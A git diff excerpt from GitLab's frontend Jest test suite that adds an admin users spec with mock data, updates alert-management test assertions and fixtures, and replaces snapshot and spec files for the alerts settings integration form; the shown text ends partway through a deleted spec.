+import { createWrapper } from '@vue/test-utils';
+import initAdminUsers from '~/admin/users';
+import AdminUsersApp from '~/admin/users/components/app.vue';
+import { users, paths } from './mock_data';
+
+describe('initAdminUsersApp', () => {
+ let wrapper;
+ let el;
+
+ const findApp = () => wrapper.find(AdminUsersApp);
+
+ beforeEach(() => {
+ el = document.createElement('div');
+ el.setAttribute('data-users', JSON.stringify(users));
+ el.setAttribute('data-paths', JSON.stringify(paths));
+
+ document.body.appendChild(el);
+
+ wrapper = createWrapper(initAdminUsers(el));
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ el.remove();
+ el = null;
+ });
+
+ it('parses and passes props', () => {
+ expect(findApp().props()).toMatchObject({
+ users,
+ paths,
+ });
+ });
+});
diff --git a/spec/frontend/admin/users/mock_data.js b/spec/frontend/admin/users/mock_data.js
new file mode 100644
index 00000000000..62fa9469638
--- /dev/null
+++ b/spec/frontend/admin/users/mock_data.js
@@ -0,0 +1,29 @@
+export const users = [
+ {
+ id: 2177,
+ name: 'Nikki',
+ createdAt: '2020-11-13T12:26:54.177Z',
+ email: 'nikki@example.com',
+ username: 'nikki',
+ lastActivityOn: '2020-12-09',
+ avatarUrl:
+ 'https://secure.gravatar.com/avatar/054f062d8b1a42b123f17e13a173cda8?s=80\\u0026d=identicon',
+ badges: [],
+ projectsCount: 0,
+ actions: [],
+ },
+];
+
+export const paths = {
+ edit: '/admin/users/id/edit',
+ approve: '/admin/users/id/approve',
+ reject: '/admin/users/id/reject',
+ unblock: '/admin/users/id/unblock',
+ block: '/admin/users/id/block',
+ deactivate: '/admin/users/id/deactivate',
+ activate: '/admin/users/id/activate',
+ unlock: '/admin/users/id/unlock',
+ delete: '/admin/users/id',
+ deleteWithContributions: '/admin/users/id',
+ adminUser: '/admin/users/id',
+};
diff --git a/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js b/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js
index 1d87301aac9..6430273ec59 100644
--- a/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js
+++ b/spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js
@@ -179,7 +179,7 @@ describe('Alert Details Sidebar Assignees', () => {
findAssigned()
.find('.dropdown-menu-user-username')
.text(),
- ).toBe('root');
+ ).toBe('@root');
});
});
});
diff --git a/spec/frontend/alerts_service_settings/components/alerts_service_form_spec.js b/spec/frontend/alerts_service_settings/components/alerts_service_form_spec.js
index 5574c83eb76..ed78a593944 100644
--- a/spec/frontend/alerts_service_settings/components/alerts_service_form_spec.js
+++ b/spec/frontend/alerts_service_settings/components/alerts_service_form_spec.js
@@ -42,8 +42,8 @@ describe('AlertsServiceForm', () => {
mockAxios = new MockAdapter(axios);
setFixtures(`
<div>
- <span class="js-service-active-status fa fa-circle" data-value="true"></span>
- <span class="js-service-active-status fa fa-power-off" data-value="false"></span>
+ <span class="js-service-active-status" data-value="true"><svg class="s16 cgreen" data-testid="check-icon"><use xlink:href="icons.svg#check" /></svg></span>
+ <span class="js-service-active-status" data-value="false"><svg class="s16 clgray" data-testid="power-icon"><use xlink:href="icons.svg#power" /></svg></span>
</div>`);
});
diff --git a/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_new_spec.js.snap b/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_new_spec.js.snap
deleted file mode 100644
index e2ef7483316..00000000000
--- a/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_new_spec.js.snap
+++ /dev/null
@@ -1,97 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`AlertsSettingsFormNew with default values renders the initial template 1`] = `
-"<form class=\\"gl-mt-6\\">
- <h5 class=\\"gl-font-lg gl-my-5\\">Add new integrations</h5>
- <div id=\\"integration-type\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"integration-type__BV_label_\\" for=\\"integration-type\\" class=\\"d-block col-form-label\\">1. Select integration type</label>
- <div class=\\"bv-no-focus-ring\\"><select class=\\"gl-form-select custom-select\\" id=\\"__BVID__8\\">
- <option value=\\"\\">Select integration type</option>
- <option value=\\"HTTP\\">HTTP Endpoint</option>
- <option value=\\"PROMETHEUS\\">External Prometheus</option>
- <option value=\\"OPSGENIE\\">Opsgenie</option>
- </select>
- <!---->
- <!---->
- <!---->
- <!---->
- </div>
- </div>
- <div class=\\"gl-mt-3 collapse\\" style=\\"display: none;\\" id=\\"__BVID__10\\">
- <div>
- <div id=\\"name-integration\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"name-integration__BV_label_\\" for=\\"name-integration\\" class=\\"d-block col-form-label\\">2. Name integration</label>
- <div class=\\"bv-no-focus-ring\\"><input type=\\"text\\" placeholder=\\"Enter integration name\\" class=\\"gl-form-input form-control\\" id=\\"__BVID__15\\">
- <!---->
- <!---->
- <!---->
- </div>
- </div>
- <div id=\\"integration-webhook\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"integration-webhook__BV_label_\\" for=\\"integration-webhook\\" class=\\"d-block col-form-label\\">3. Set up webhook</label>
- <div class=\\"bv-no-focus-ring\\"><span>Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the <a rel=\\"noopener noreferrer\\" target=\\"_blank\\" href=\\"https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html\\" class=\\"gl-link gl-display-inline-block\\">GitLab documentation</a> to learn more about configuring your endpoint.</span> <label class=\\"gl-display-flex gl-flex-direction-column gl-mb-0 gl-w-max-content gl-my-4 gl-font-weight-normal\\">
- <div class=\\"gl-toggle-wrapper\\"><span class=\\"gl-toggle-label\\">Active</span>
- <!----> <button aria-label=\\"Active\\" type=\\"button\\" class=\\"gl-toggle\\"><span class=\\"toggle-icon\\"><svg data-testid=\\"close-icon\\" class=\\"gl-icon s16\\"><use href=\\"#close\\"></use></svg></span></button></div>
- <!---->
- </label>
- <!---->
- <div class=\\"gl-my-4\\"><span class=\\"gl-font-weight-bold\\">
- Webhook URL
- </span>
- <div id=\\"url\\" readonly=\\"readonly\\">
- <div role=\\"group\\" class=\\"input-group\\">
- <!---->
- <!----> <input id=\\"url\\" type=\\"text\\" readonly=\\"readonly\\" class=\\"gl-form-input form-control\\">
- <div class=\\"input-group-append\\"><button title=\\"Copy\\" data-clipboard-text=\\"\\" aria-label=\\"Copy this value\\" type=\\"button\\" class=\\"btn gl-m-0! btn-default btn-md gl-button btn-default-secondary btn-icon\\">
- <!----> <svg data-testid=\\"copy-to-clipboard-icon\\" class=\\"gl-button-icon gl-icon s16\\">
- <use href=\\"#copy-to-clipboard\\"></use>
- </svg>
- <!----></button></div>
- <!---->
- </div>
- </div>
- </div>
- <div class=\\"gl-my-4\\"><span class=\\"gl-font-weight-bold\\">
- Authorization key
- </span>
- <div id=\\"authorization-key\\" readonly=\\"readonly\\" class=\\"gl-mb-3\\">
- <div role=\\"group\\" class=\\"input-group\\">
- <!---->
- <!----> <input id=\\"authorization-key\\" type=\\"text\\" readonly=\\"readonly\\" class=\\"gl-form-input form-control\\">
- <div class=\\"input-group-append\\"><button title=\\"Copy\\" data-clipboard-text=\\"\\" aria-label=\\"Copy this value\\" type=\\"button\\" class=\\"btn gl-m-0! btn-default btn-md gl-button btn-default-secondary btn-icon\\">
- <!----> <svg data-testid=\\"copy-to-clipboard-icon\\" class=\\"gl-button-icon gl-icon s16\\">
- <use href=\\"#copy-to-clipboard\\"></use>
- </svg>
- <!----></button></div>
- <!---->
- </div>
- </div> <button type=\\"button\\" disabled=\\"disabled\\" class=\\"btn btn-default btn-md disabled gl-button\\">
- <!---->
- <!----> <span class=\\"gl-button-text\\">
- Reset Key
- </span></button>
- <!---->
- </div>
- <!---->
- <!---->
- <!---->
- </div>
- </div>
- <div id=\\"test-integration\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"test-integration__BV_label_\\" for=\\"test-integration\\" class=\\"d-block col-form-label\\">4. Sample alert payload (optional)</label>
- <div class=\\"bv-no-focus-ring\\"><span>Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional).</span> <textarea id=\\"test-payload\\" disabled=\\"disabled\\" placeholder=\\"{ &quot;events&quot;: [{ &quot;application&quot;: &quot;Name of application&quot; }] }\\" wrap=\\"soft\\" class=\\"gl-form-input gl-form-textarea gl-my-3 form-control is-valid\\" style=\\"resize: none; overflow-y: scroll;\\"></textarea>
- <!---->
- <!---->
- <!---->
- </div>
- </div>
- <!---->
- <!---->
- </div>
- <div class=\\"gl-display-flex gl-justify-content-start gl-py-3\\"><button data-testid=\\"integration-form-submit\\" type=\\"submit\\" class=\\"btn js-no-auto-disable btn-success btn-md gl-button\\">
- <!---->
- <!----> <span class=\\"gl-button-text\\">Save integration
- </span></button> <button data-testid=\\"integration-test-and-submit\\" type=\\"button\\" class=\\"btn gl-mx-3 js-no-auto-disable btn-success btn-md gl-button btn-success-secondary\\">
- <!---->
- <!----> <span class=\\"gl-button-text\\">Save and test payload</span></button> <button type=\\"reset\\" class=\\"btn js-no-auto-disable btn-default btn-md gl-button\\">
- <!---->
- <!----> <span class=\\"gl-button-text\\">Cancel</span></button></div>
- </div>
-</form>"
-`;
diff --git a/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_old_spec.js.snap b/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_old_spec.js.snap
deleted file mode 100644
index 9306bf24baf..00000000000
--- a/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_old_spec.js.snap
+++ /dev/null
@@ -1,47 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`AlertsSettingsFormOld with default values renders the initial template 1`] = `
-"<gl-form-stub>
- <h5 class=\\"gl-font-lg gl-my-5\\"></h5>
- <!---->
- <div data-testid=\\"alert-settings-description\\">
- <p>
- <gl-sprintf-stub message=\\"You must provide this URL and authorization key to authorize an external service to send alerts to GitLab. You can provide this URL and key to multiple services. After configuring an external service, alerts from your service will display on the GitLab %{linkStart}Alerts%{linkEnd} page.\\"></gl-sprintf-stub>
- </p>
- <p>
- <gl-sprintf-stub message=\\"Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint.\\"></gl-sprintf-stub>
- </p>
- </div>
- <gl-form-group-stub label-for=\\"integration-type\\" label=\\"Integration\\">
- <gl-form-select-stub id=\\"integration-type\\" options=\\"[object Object],[object Object],[object Object]\\" data-testid=\\"alert-settings-select\\" value=\\"HTTP\\"></gl-form-select-stub> <span class=\\"gl-text-gray-500\\"><gl-sprintf-stub message=\\"Learn more about our our upcoming %{linkStart}integrations%{linkEnd}\\"></gl-sprintf-stub></span>
- </gl-form-group-stub>
- <gl-form-group-stub label=\\"Active\\" label-for=\\"active\\">
- <toggle-button-stub id=\\"active\\"></toggle-button-stub>
- </gl-form-group-stub>
- <!---->
- <gl-form-group-stub label=\\"Webhook URL\\" label-for=\\"url\\">
- <gl-form-input-group-stub value=\\"/alerts/notify.json\\" predefinedoptions=\\"[object Object]\\" id=\\"url\\" readonly=\\"\\"></gl-form-input-group-stub> <span class=\\"gl-text-gray-500\\">
-
- </span>
- </gl-form-group-stub>
- <gl-form-group-stub label-for=\\"authorization-key\\">
- <gl-form-input-group-stub value=\\"\\" predefinedoptions=\\"[object Object]\\" id=\\"authorization-key\\" readonly=\\"\\" class=\\"gl-mb-2\\"></gl-form-input-group-stub>
- <gl-button-stub category=\\"primary\\" variant=\\"default\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" disabled=\\"true\\" class=\\"gl-mt-3\\" role=\\"button\\" tabindex=\\"0\\">Reset key</gl-button-stub>
- <gl-modal-stub modalid=\\"tokenModal\\" titletag=\\"h4\\" modalclass=\\"\\" size=\\"md\\" title=\\"Reset key\\" ok-title=\\"Reset key\\" ok-variant=\\"danger\\">
- Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in.
- </gl-modal-stub>
- </gl-form-group-stub>
- <gl-form-group-stub label=\\"Alert test payload\\" label-for=\\"alert-json\\">
- <gl-form-textarea-stub noresize=\\"true\\" id=\\"alert-json\\" disabled=\\"true\\" state=\\"true\\" placeholder=\\"Enter test alert JSON....\\" rows=\\"6\\" max-rows=\\"10\\"></gl-form-textarea-stub>
- </gl-form-group-stub>
- <gl-button-stub category=\\"primary\\" variant=\\"default\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" disabled=\\"true\\">Test alert payload</gl-button-stub>
- <div class=\\"footer-block row-content-block gl-display-flex gl-justify-content-space-between\\">
- <gl-button-stub category=\\"primary\\" variant=\\"success\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" disabled=\\"true\\">
- Save changes
- </gl-button-stub>
- <gl-button-stub category=\\"primary\\" variant=\\"default\\" size=\\"medium\\" icon=\\"\\" buttontextclasses=\\"\\" disabled=\\"true\\">
- Cancel
- </gl-button-stub>
- </div>
-</gl-form-stub>"
-`;
diff --git a/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_spec.js.snap b/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_spec.js.snap
new file mode 100644
index 00000000000..a1ced8910b3
--- /dev/null
+++ b/spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_spec.js.snap
@@ -0,0 +1,97 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`AlertsSettingsFormNew with default values renders the initial template 1`] = `
+"<form class=\\"gl-mt-6\\">
+ <h5 class=\\"gl-font-lg gl-my-5\\">Add new integrations</h5>
+ <div id=\\"integration-type\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"integration-type__BV_label_\\" for=\\"integration-type\\" class=\\"d-block col-form-label\\">1. Select integration type</label>
+ <div class=\\"bv-no-focus-ring\\"><select class=\\"gl-form-select custom-select\\" id=\\"__BVID__8\\">
+ <option value=\\"\\">Select integration type</option>
+ <option value=\\"HTTP\\">HTTP Endpoint</option>
+ <option value=\\"PROMETHEUS\\">External Prometheus</option>
+ <option value=\\"OPSGENIE\\">Opsgenie</option>
+ </select>
+ <!---->
+ <!---->
+ <!---->
+ <!---->
+ </div>
+ </div>
+ <div class=\\"gl-mt-3 collapse\\" style=\\"display: none;\\" id=\\"__BVID__10\\">
+ <div>
+ <div id=\\"name-integration\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"name-integration__BV_label_\\" for=\\"name-integration\\" class=\\"d-block col-form-label\\">2. Name integration</label>
+ <div class=\\"bv-no-focus-ring\\"><input type=\\"text\\" placeholder=\\"Enter integration name\\" class=\\"gl-form-input form-control\\" id=\\"__BVID__15\\">
+ <!---->
+ <!---->
+ <!---->
+ </div>
+ </div>
+ <div id=\\"integration-webhook\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"integration-webhook__BV_label_\\" for=\\"integration-webhook\\" class=\\"d-block col-form-label\\">3. Set up webhook</label>
+ <div class=\\"bv-no-focus-ring\\"><span>Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the <a rel=\\"noopener noreferrer\\" target=\\"_blank\\" href=\\"https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html\\" class=\\"gl-link gl-display-inline-block\\">GitLab documentation</a> to learn more about configuring your endpoint.</span> <label class=\\"gl-display-flex gl-flex-direction-column gl-mb-0 gl-w-max-content gl-my-4 gl-font-weight-normal\\">
+ <div class=\\"gl-toggle-wrapper\\"><span class=\\"gl-toggle-label\\">Active</span>
+ <!----> <button aria-label=\\"Active\\" type=\\"button\\" class=\\"gl-toggle\\"><span class=\\"toggle-icon\\"><svg data-testid=\\"close-icon\\" aria-hidden=\\"true\\" class=\\"gl-icon s16\\"><use href=\\"#close\\"></use></svg></span></button></div>
+ <!---->
+ </label>
+ <!---->
+ <div class=\\"gl-my-4\\"><span class=\\"gl-font-weight-bold\\">
+ Webhook URL
+ </span>
+ <div id=\\"url\\" readonly=\\"readonly\\">
+ <div role=\\"group\\" class=\\"input-group\\">
+ <!---->
+ <!----> <input id=\\"url\\" type=\\"text\\" readonly=\\"readonly\\" class=\\"gl-form-input form-control\\">
+ <div class=\\"input-group-append\\"><button title=\\"Copy\\" data-clipboard-text=\\"\\" aria-label=\\"Copy this value\\" type=\\"button\\" class=\\"btn gl-m-0! btn-default btn-md gl-button btn-default-secondary btn-icon\\">
+ <!----> <svg data-testid=\\"copy-to-clipboard-icon\\" aria-hidden=\\"true\\" class=\\"gl-button-icon gl-icon s16\\">
+ <use href=\\"#copy-to-clipboard\\"></use>
+ </svg>
+ <!----></button></div>
+ <!---->
+ </div>
+ </div>
+ </div>
+ <div class=\\"gl-my-4\\"><span class=\\"gl-font-weight-bold\\">
+ Authorization key
+ </span>
+ <div id=\\"authorization-key\\" readonly=\\"readonly\\" class=\\"gl-mb-3\\">
+ <div role=\\"group\\" class=\\"input-group\\">
+ <!---->
+ <!----> <input id=\\"authorization-key\\" type=\\"text\\" readonly=\\"readonly\\" class=\\"gl-form-input form-control\\">
+ <div class=\\"input-group-append\\"><button title=\\"Copy\\" data-clipboard-text=\\"\\" aria-label=\\"Copy this value\\" type=\\"button\\" class=\\"btn gl-m-0! btn-default btn-md gl-button btn-default-secondary btn-icon\\">
+ <!----> <svg data-testid=\\"copy-to-clipboard-icon\\" aria-hidden=\\"true\\" class=\\"gl-button-icon gl-icon s16\\">
+ <use href=\\"#copy-to-clipboard\\"></use>
+ </svg>
+ <!----></button></div>
+ <!---->
+ </div>
+ </div> <button type=\\"button\\" disabled=\\"disabled\\" class=\\"btn btn-default btn-md disabled gl-button\\">
+ <!---->
+ <!----> <span class=\\"gl-button-text\\">
+ Reset Key
+ </span></button>
+ <!---->
+ </div>
+ <!---->
+ <!---->
+ <!---->
+ </div>
+ </div>
+ <div id=\\"test-integration\\" role=\\"group\\" class=\\"form-group gl-form-group\\"><label id=\\"test-integration__BV_label_\\" for=\\"test-integration\\" class=\\"d-block col-form-label\\">4. Sample alert payload (optional)</label>
+ <div class=\\"bv-no-focus-ring\\"><span>Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional).</span> <textarea id=\\"test-payload\\" disabled=\\"disabled\\" placeholder=\\"{ &quot;events&quot;: [{ &quot;application&quot;: &quot;Name of application&quot; }] }\\" wrap=\\"soft\\" class=\\"gl-form-input gl-form-textarea gl-my-3 form-control is-valid\\" style=\\"resize: none; overflow-y: scroll;\\"></textarea>
+ <!---->
+ <!---->
+ <!---->
+ </div>
+ </div>
+ <!---->
+ <!---->
+ </div>
+ <div class=\\"gl-display-flex gl-justify-content-start gl-py-3\\"><button data-testid=\\"integration-form-submit\\" type=\\"submit\\" class=\\"btn js-no-auto-disable btn-success btn-md gl-button\\">
+ <!---->
+ <!----> <span class=\\"gl-button-text\\">Save integration
+ </span></button> <button data-testid=\\"integration-test-and-submit\\" type=\\"button\\" disabled=\\"disabled\\" class=\\"btn gl-mx-3 js-no-auto-disable btn-success btn-md disabled gl-button btn-success-secondary\\">
+ <!---->
+ <!----> <span class=\\"gl-button-text\\">Save and test payload</span></button> <button type=\\"reset\\" class=\\"btn js-no-auto-disable btn-default btn-md gl-button\\">
+ <!---->
+ <!----> <span class=\\"gl-button-text\\">Cancel</span></button></div>
+ </div>
+</form>"
+`;
diff --git a/spec/frontend/alerts_settings/alerts_integrations_list_spec.js b/spec/frontend/alerts_settings/alerts_integrations_list_spec.js
index 90bb38f0c2b..3a7392f64f7 100644
--- a/spec/frontend/alerts_settings/alerts_integrations_list_spec.js
+++ b/spec/frontend/alerts_settings/alerts_integrations_list_spec.js
@@ -35,9 +35,6 @@ describe('AlertIntegrationsList', () => {
integrations: mockIntegrations,
...props,
},
- provide: {
- glFeatures: { httpIntegrationsList: true },
- },
stubs: {
GlIcon: true,
GlButton: true,
diff --git a/spec/frontend/alerts_settings/alerts_settings_form_new_spec.js b/spec/frontend/alerts_settings/alerts_settings_form_new_spec.js
deleted file mode 100644
index fbd482b1906..00000000000
--- a/spec/frontend/alerts_settings/alerts_settings_form_new_spec.js
+++ /dev/null
@@ -1,364 +0,0 @@
-import { mount } from '@vue/test-utils';
-import {
- GlForm,
- GlFormSelect,
- GlCollapse,
- GlFormInput,
- GlToggle,
- GlFormTextarea,
-} from '@gitlab/ui';
-import waitForPromises from 'helpers/wait_for_promises';
-import AlertsSettingsForm from '~/alerts_settings/components/alerts_settings_form_new.vue';
-import { defaultAlertSettingsConfig } from './util';
-import { typeSet } from '~/alerts_settings/constants';
-
-describe('AlertsSettingsFormNew', () => {
- let wrapper;
- const mockToastShow = jest.fn();
-
- const createComponent = ({
- data = {},
- props = {},
- multipleHttpIntegrationsCustomMapping = false,
- } = {}) => {
- wrapper = mount(AlertsSettingsForm, {
- data() {
- return { ...data };
- },
- propsData: {
- loading: false,
- canAddIntegration: true,
- canManageOpsgenie: true,
- ...props,
- },
- provide: {
- glFeatures: { multipleHttpIntegrationsCustomMapping },
- ...defaultAlertSettingsConfig,
- },
- mocks: {
- $toast: {
- show: mockToastShow,
- },
- },
- });
- };
-
- const findForm = () => wrapper.find(GlForm);
- const findSelect = () => wrapper.find(GlFormSelect);
- const findFormSteps = () => wrapper.find(GlCollapse);
- const findFormFields = () => wrapper.findAll(GlFormInput);
- const findFormToggle = () => wrapper.find(GlToggle);
- const findTestPayloadSection = () => wrapper.find(`[id = "test-integration"]`);
- const findMappingBuilderSection = () => wrapper.find(`[id = "mapping-builder"]`);
- const findSubmitButton = () => wrapper.find(`[type = "submit"]`);
- const findMultiSupportText = () =>
- wrapper.find(`[data-testid="multi-integrations-not-supported"]`);
- const findJsonTestSubmit = () => wrapper.find(`[data-testid="integration-test-and-submit"]`);
- const findJsonTextArea = () => wrapper.find(`[id = "test-payload"]`);
- const findActionBtn = () => wrapper.find(`[data-testid="payload-action-btn"]`);
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- describe('with default values', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders the initial template', () => {
- expect(wrapper.html()).toMatchSnapshot();
- });
-
- it('render the initial form with only an integration type dropdown', () => {
- expect(findForm().exists()).toBe(true);
- expect(findSelect().exists()).toBe(true);
- expect(findMultiSupportText().exists()).toBe(false);
- expect(findFormSteps().attributes('visible')).toBeUndefined();
- });
-
- it('shows the rest of the form when the dropdown is used', async () => {
- const options = findSelect().findAll('option');
- await options.at(1).setSelected();
-
- await wrapper.vm.$nextTick();
-
- expect(
- findFormFields()
- .at(0)
- .isVisible(),
- ).toBe(true);
- });
-
- it('disabled the dropdown and shows help text when multi integrations are not supported', async () => {
- createComponent({ props: { canAddIntegration: false } });
- expect(findSelect().attributes('disabled')).toBe('disabled');
- expect(findMultiSupportText().exists()).toBe(true);
- });
- });
-
- describe('submitting integration form', () => {
- it('allows for create-new-integration with the correct form values for HTTP', async () => {
- createComponent({});
-
- const options = findSelect().findAll('option');
- await options.at(1).setSelected();
-
- await findFormFields()
- .at(0)
- .setValue('Test integration');
- await findFormToggle().trigger('click');
-
- await wrapper.vm.$nextTick();
-
- expect(findSubmitButton().exists()).toBe(true);
- expect(findSubmitButton().text()).toBe('Save integration');
-
- findForm().trigger('submit');
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.emitted('create-new-integration')).toBeTruthy();
- expect(wrapper.emitted('create-new-integration')[0]).toEqual([
- { type: typeSet.http, variables: { name: 'Test integration', active: true } },
- ]);
- });
-
- it('allows for create-new-integration with the correct form values for PROMETHEUS', async () => {
- createComponent({});
-
- const options = findSelect().findAll('option');
- await options.at(2).setSelected();
-
- await findFormFields()
- .at(0)
- .setValue('Test integration');
- await findFormFields()
- .at(1)
- .setValue('https://test.com');
- await findFormToggle().trigger('click');
-
- await wrapper.vm.$nextTick();
-
- expect(findSubmitButton().exists()).toBe(true);
- expect(findSubmitButton().text()).toBe('Save integration');
-
- findForm().trigger('submit');
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.emitted('create-new-integration')).toBeTruthy();
- expect(wrapper.emitted('create-new-integration')[0]).toEqual([
- { type: typeSet.prometheus, variables: { apiUrl: 'https://test.com', active: true } },
- ]);
- });
-
- it('allows for update-integration with the correct form values for HTTP', async () => {
- createComponent({
- data: {
- selectedIntegration: typeSet.http,
- currentIntegration: { id: '1', name: 'Test integration pre' },
- },
- props: {
- loading: false,
- },
- });
-
- await findFormFields()
- .at(0)
- .setValue('Test integration post');
- await findFormToggle().trigger('click');
-
- await wrapper.vm.$nextTick();
-
- expect(findSubmitButton().exists()).toBe(true);
- expect(findSubmitButton().text()).toBe('Save integration');
-
- findForm().trigger('submit');
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.emitted('update-integration')).toBeTruthy();
- expect(wrapper.emitted('update-integration')[0]).toEqual([
- { type: typeSet.http, variables: { name: 'Test integration post', active: true } },
- ]);
- });
-
- it('allows for update-integration with the correct form values for PROMETHEUS', async () => {
- createComponent({
- data: {
- selectedIntegration: typeSet.prometheus,
- currentIntegration: { id: '1', apiUrl: 'https://test-pre.com' },
- },
- props: {
- loading: false,
- },
- });
-
- await findFormFields()
- .at(0)
- .setValue('Test integration');
- await findFormFields()
- .at(1)
- .setValue('https://test-post.com');
- await findFormToggle().trigger('click');
-
- await wrapper.vm.$nextTick();
-
- expect(findSubmitButton().exists()).toBe(true);
- expect(findSubmitButton().text()).toBe('Save integration');
-
- findForm().trigger('submit');
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.emitted('update-integration')).toBeTruthy();
- expect(wrapper.emitted('update-integration')[0]).toEqual([
- { type: typeSet.prometheus, variables: { apiUrl: 'https://test-post.com', active: true } },
- ]);
- });
- });
-
- describe('submitting the integration with a JSON test payload', () => {
- beforeEach(() => {
- createComponent({
- data: {
- selectedIntegration: typeSet.http,
- currentIntegration: { id: '1', name: 'Test' },
- active: true,
- },
- props: {
- loading: false,
- },
- });
- });
-
- it('should not allow a user to test invalid JSON', async () => {
- jest.useFakeTimers();
- await findJsonTextArea().setValue('Invalid JSON');
-
- jest.runAllTimers();
- await wrapper.vm.$nextTick();
-
- expect(findJsonTestSubmit().exists()).toBe(true);
- expect(findJsonTestSubmit().text()).toBe('Save and test payload');
- expect(findJsonTestSubmit().props('disabled')).toBe(true);
- });
-
- it('should allow for the form to be automatically saved if the test payload is successfully submitted', async () => {
- jest.useFakeTimers();
- await findJsonTextArea().setValue('{ "value": "value" }');
-
- jest.runAllTimers();
- await wrapper.vm.$nextTick();
- expect(findJsonTestSubmit().props('disabled')).toBe(false);
- });
- });
-
- describe('Test payload section for HTTP integration', () => {
- beforeEach(() => {
- createComponent({
- multipleHttpIntegrationsCustomMapping: true,
- props: {
- currentIntegration: {
- type: typeSet.http,
- },
- },
- });
- });
-
- describe.each`
- active | resetSamplePayloadConfirmed | disabled
- ${true} | ${true} | ${undefined}
- ${false} | ${true} | ${'disabled'}
- ${true} | ${false} | ${'disabled'}
- ${false} | ${false} | ${'disabled'}
- `('', ({ active, resetSamplePayloadConfirmed, disabled }) => {
- const payloadResetMsg = resetSamplePayloadConfirmed ? 'was confirmed' : 'was not confirmed';
- const enabledState = disabled === 'disabled' ? 'disabled' : 'enabled';
- const activeState = active ? 'active' : 'not active';
-
- it(`textarea should be ${enabledState} when payload reset ${payloadResetMsg} and current integration is ${activeState}`, async () => {
- wrapper.setData({
- customMapping: { samplePayload: true },
- active,
- resetSamplePayloadConfirmed,
- });
- await wrapper.vm.$nextTick();
- expect(
- findTestPayloadSection()
- .find(GlFormTextarea)
- .attributes('disabled'),
- ).toBe(disabled);
- });
- });
-
- describe('action buttons for sample payload', () => {
- describe.each`
- resetSamplePayloadConfirmed | samplePayload | caption
- ${false} | ${true} | ${'Edit payload'}
- ${true} | ${false} | ${'Submit payload'}
- ${true} | ${true} | ${'Submit payload'}
- ${false} | ${false} | ${'Submit payload'}
- `('', ({ resetSamplePayloadConfirmed, samplePayload, caption }) => {
- const samplePayloadMsg = samplePayload ? 'was provided' : 'was not provided';
- const payloadResetMsg = resetSamplePayloadConfirmed ? 'was confirmed' : 'was not confirmed';
-
- it(`shows ${caption} button when sample payload ${samplePayloadMsg} and payload reset ${payloadResetMsg}`, async () => {
- wrapper.setData({
- selectedIntegration: typeSet.http,
- customMapping: { samplePayload },
- resetSamplePayloadConfirmed,
- });
- await wrapper.vm.$nextTick();
- expect(findActionBtn().text()).toBe(caption);
- });
- });
- });
-
- describe('Parsing payload', () => {
- it('displays a toast message on successful parse', async () => {
- jest.useFakeTimers();
- wrapper.setData({
- selectedIntegration: typeSet.http,
- customMapping: { samplePayload: false },
- });
- await wrapper.vm.$nextTick();
-
- findActionBtn().vm.$emit('click');
- jest.advanceTimersByTime(1000);
-
- await waitForPromises();
-
- expect(mockToastShow).toHaveBeenCalledWith(
- 'Sample payload has been parsed. You can now map the fields.',
- );
- });
- });
- });
-
- describe('Mapping builder section', () => {
- describe.each`
- featureFlag | integrationOption | visible
- ${true} | ${1} | ${true}
- ${true} | ${2} | ${false}
- ${false} | ${1} | ${false}
- ${false} | ${2} | ${false}
- `('', ({ featureFlag, integrationOption, visible }) => {
- const visibleMsg = visible ? 'is rendered' : 'is not rendered';
- const featureFlagMsg = featureFlag ? 'is enabled' : 'is disabled';
- const integrationType = integrationOption === 1 ? typeSet.http : typeSet.prometheus;
-
- it(`${visibleMsg} when multipleHttpIntegrationsCustomMapping feature flag ${featureFlagMsg} and integration type is ${integrationType}`, async () => {
- createComponent({ multipleHttpIntegrationsCustomMapping: featureFlag });
- const options = findSelect().findAll('option');
- options.at(integrationOption).setSelected();
- await wrapper.vm.$nextTick();
